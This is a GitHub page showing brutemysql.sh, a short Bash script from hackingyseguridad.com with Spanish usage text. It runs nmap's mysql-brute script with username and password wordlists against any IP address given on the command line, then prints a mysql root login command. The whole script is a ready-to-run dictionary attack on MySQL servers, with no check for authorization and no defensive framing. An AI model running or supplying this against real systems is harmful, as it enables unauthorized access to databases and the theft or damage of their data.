-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbrutemysql.sh
More file actions
26 lines (24 loc) · 1.87 KB
/
brutemysql.sh
File metadata and controls
26 lines (24 loc) · 1.87 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/bash
cat << "INFO"
██████╗ ██████╗ ██╗ ██╗████████╗███████╗ ███╗ ███╗██╗ ██╗███████╗ ██████╗ ██╗
██╔══██╗██╔══██╗██║ ██║╚══██╔══╝██╔════╝ ████╗ ████║╚██╗ ██╔╝██╔════╝██╔═══██╗██║
██████╔╝██████╔╝██║ ██║ ██║ █████╗ ██╔████╔██║ ╚████╔╝ ███████╗██║ ██║██║
██╔══██╗██╔══██╗██║ ██║ ██║ ██╔══╝ ██║╚██╔╝██║ ╚██╔╝ ╚════██║██║▄▄ ██║██║
██████╔╝██║ ██║╚██████╔╝ ██║ ███████╗ ██║ ╚═╝ ██║ ██║ ███████║╚██████╔╝███████╗
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══▀▀═╝ ╚══════╝
http://www.hackingyseguridad.com/ v1.0 (2025)
INFO
if [ -z "$1" ]; then
echo
echo "Fuerza bruta con diccionarios a MySQL en 3306/TCP."
echo "Requiere nmap"
echo "Uso.: sh brutemysql2.sh <ip>"
echo
exit 0
fi
echo
echo
nmap -Pn $1 -p 3306 --script mysql-brute --script-args userdb=usuarios0.txt,passdb=claves0.txt,unpwdb.timelimit=0 -O
echo
echo "mysql -h $1 -u root -p "
echo